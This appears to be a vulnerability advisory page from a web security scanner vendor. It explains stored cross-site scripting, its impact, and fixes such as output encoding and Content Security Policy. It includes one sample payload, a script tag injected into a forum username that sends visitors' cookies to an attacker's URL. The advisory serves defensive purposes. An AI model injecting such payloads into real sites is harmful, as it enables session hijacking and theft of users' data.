Stored Cross-site Scripting

Severity: High

Invicti identified Stored Cross-site Scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored Cross-site Scripting vulnerability occurs when the data provided by the attacker is saved on the server, and then publicly displayed on regular pages without proper HTML escaping.

This allows several different attack opportunities, mostly hijacking session token or stealing login credentials(by changing the HTML on the fly) and performing any arbitrary actions on their behalf. This happens because the input entered by the attacker has been interpreted by HTML/JavaScript/VBScript  within the browser of any user who views the relevant application content.

In normal XSS attacks, an attacker needs to reach the target user, but in a stored XSS, an attacker can simply inject the payload and wait for users to visit the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users instead of the server of the application. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.


Stored cross-site scripting is more dangerous  than other types  for a number of reasons:

  • The payload is not visible for the browser's XSS filter.
  • No need for direct user interactions like in a reflected XSS scenario. Instead, ordinary users may trigger the exploit during normal use of the application.
  • Users might accidentally trigger the payload if they visit the affected page, while a crafted URL or specific form inputs would be required for exploiting reflected XSS.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website may redirect users to a new location, can be defaced or used as a phishing site.
  • Sensitive information such as cookies can be stolen


A stored XSS vulnerability can happen if the username of an online forum member is not properly sanitized when it is printed on the page. In such case an attacker can insert malicious code when registering a new user on the form. When the username is reflected on the forum page, it will look like this:

Username: user123<script>document.location=''+encodeURIComponent(document.cookie)</script>

Registered since: 2016

The above code is triggered every time a user visits this forum section, and it sends the users' cookies of the forum to the attacker, who is then able to use them to hijack their sessions. Stored XSS can be a very dangerous vulnerability since it can have the effect of a worm, especially when exploited on popular pages.

For example imagine a forum or social media website that has a public facing page that is vulnerable to a stored XSS vulnerability, such as the profile page of the user. If the attacker is able to place a malicious payload that adds itself to the profile page, each time someone opens it the payload will spread itself with an exponential growth.

  • Compare the data provided by the user with the data expected by the system before inserting into the database. For example, links should generally be disallowed if they don't begin with a whitelisted protocol such as http:// or https://, thus preventing the use of URI schemes such as javascript://. Another example is that of an expected user-ID, which should only consists of numbers. It makes sense to prevent unforeseen behaviour by rejecting any other characters in order to ensure that the expected data type was provided
  • More importantly, any data that is incorporated into the HTML source of the page should be encoded correctly in order to prevent an attacker from changing the structure of the source code and injecting their own malicious HTML and JavaScript code. Which encoding should be used depends on the context in which it should be displayed. For example, if the output is between two "div" tags,  HTML metacharacters, such as < or > should be replaced with the corresponding HTML entities. If the output is within an HTML attribute, characters such as ", ' and  = should be replaced as well. If the data will be put into a JavaScript string, it makes sense to use hex encoding (x41x42x43x44).

  • In other cases, like in an href or src attribute it makes sense to use URL encoding (%3C%22%27) in order to prevent XSS and an attacker from adding additional parameters.

  • Additionally, you should implement a strong Content Security Policy (CSP) as a defence-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications. 

    CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross Site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one. 

Build your resistance to threats. And save hundreds of hours each month.

Get a demo See how it works